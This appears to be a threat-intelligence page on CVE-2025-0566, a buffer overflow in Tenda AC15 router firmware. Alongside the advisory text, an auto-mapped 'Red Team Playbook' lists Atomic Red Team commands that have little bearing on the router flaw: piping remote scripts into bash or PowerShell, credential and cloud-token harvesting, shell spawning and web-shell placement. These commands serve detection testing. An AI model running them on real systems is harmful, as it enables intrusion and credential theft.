CVE-2025-0566
Overview
The vulnerability is a stack-based buffer overflow caused by improper handling of the 'mac' argument within the formSetDevNetName function in the /goform/SetDevNetName component of Tenda AC15 firmware version 15.13.07.13. This occurs due to insufficient bounds checking on input data, allowing memory corruption on the stack. The flaw is rooted in unsafe string or buffer operations within the network device's firmware interface handling network name settings.
Vulnerability Description
A vulnerability classified as critical has been found in Tenda AC15 15.13.07.13. This affects the function formSetDevNetName of the file /goform/SetDevNetName. The manipulation of the argument mac leads to stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.
Impact
An attacker with network access can exploit this vulnerability remotely without user interaction, leveraging the buffer overflow to execute arbitrary code with elevated privileges on the device. This enables full compromise of the Tenda AC15 router, potentially leading to unauthorized network access, persistent device control, and disruption of network services. The CVSS vector (AV:N/AC:L/PR:L/UI:N) indicates low attack complexity and no user interaction, but requires low-level privileges, facilitating lateral movement within the network environment.
Solution
Users should upgrade the Tenda AC15 firmware to a version later than 15.13.07.13 where this vulnerability is addressed. Specific patch details and update instructions are provided in the advisory linked at https://vuldb.com/?id.292527. No official workaround is documented; therefore, applying the vendor-supplied firmware update is the recommended remediation to eliminate the buffer overflow flaw.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified in the Tenda AC15 router firmware, specifically within the function responsible for setting the device network name. This flaw arises from improper handling of input parameters, leading to a stack-based buffer overflow when the MAC address argument is manipulated. The vulnerability allows an attacker to overwrite the stack memory, potentially leading to arbitrary code execution. This type of vulnerability is particularly dangerous as it can be exploited remotely, meaning that attackers do not need physical access to the device to launch an attack. The implications of this vulnerability are severe, given that it can be exploited without user interaction, increasing the risk of widespread attacks.
Attack vectors for this vulnerability are diverse, with the primary method being remote exploitation through crafted HTTP requests targeting the vulnerable function. An attacker could leverage this flaw by sending a specially crafted request that exceeds the expected buffer size, allowing them to overwrite adjacent memory locations. This could lead to the execution of malicious code, granting the attacker control over the affected device. Scenarios may include using the compromised router as a foothold in a larger network, intercepting traffic, or launching further attacks against other devices connected to the same network. The ability to exploit this vulnerability remotely makes it particularly appealing to attackers, as it lowers the barrier to entry for executing malicious activities.
The real-world impact of this vulnerability is significant, especially for businesses relying on Tenda AC15 routers for their network infrastructure. Compromised routers can lead to unauthorized access to sensitive data, disruption of services, and potential financial losses. Furthermore, if attackers gain control over the router, they could use it to conduct man-in-the-middle attacks, intercepting and manipulating traffic between users and external services. This not only jeopardizes the integrity and confidentiality of business communications but also poses a reputational risk. Organizations may face regulatory scrutiny and potential fines if customer data is compromised due to inadequate security measures.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating firmware to the latest versions provided by the manufacturer is critical, as updates often include patches for known vulnerabilities. Network monitoring tools can help identify unusual traffic patterns or unauthorized access attempts, enabling quicker responses to potential threats. Additionally, employing intrusion detection systems can provide alerts on suspicious activities related to the affected devices. Organizations should also consider segmenting their networks to limit the impact of a potential compromise, ensuring that sensitive systems are isolated from less secure devices.
In conclusion, the vulnerability present in the Tenda AC15 router firmware represents a serious threat to both individual users and organizations. With the potential for remote exploitation and significant real-world consequences, it is imperative for stakeholders to prioritize detection and mitigation strategies. By staying informed about vulnerabilities and implementing robust security practices, organizations can better protect their networks and sensitive data from malicious actors.
CSURFACE threat intelligence has detected a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2025-0566, rising by over 30% to 0.1360. This upward adjustment reflects a growing likelihood of exploitation attempts in the wild, despite the absence of newly reported exploit variants or active campaigns. Our telemetry indicates a steady upward trend in exploitation risk over the past week, placing this vulnerability in the upper percentile of predicted exploitability. This shift signals heightened attacker interest or improved exploit reliability, which elevates the urgency for defenders to reassess their exposure. While no direct evidence of expanded exploitation has emerged, the increased EPSS score suggests that threat actors may be preparing or refining attack methods targeting the Tenda AC15 router’s vulnerable function. Consequently, the overall threat level should be considered elevated, warranting increased vigilance and prioritization in vulnerability management programs.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Tenda | Ac15 Firmware | 15.13.07.13 |
cpe:2.3:o:tenda:ac15_firmware:15.13.07.13:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-0566 |
| vuldb.com |
GitHub CVE
vdb-entry
technical-description
|
https://vuldb.com/?id.292527 |
| vuldb.com |
GitHub CVE
signature
permissions-required
|
https://vuldb.com/?ctiid.292527 |
| vuldb.com |
GitHub CVE
third-party-advisory
|
https://vuldb.com/?submit.484418 |
| pan.baidu.com |
GitHub CVE
exploit
|
https://pan.baidu.com/s/1DBDf27oCTIMkW-PSZwg02Q?pwd=tara |
| tenda.com.cn |
GitHub CVE
product
|
https://www.tenda.com.cn/ |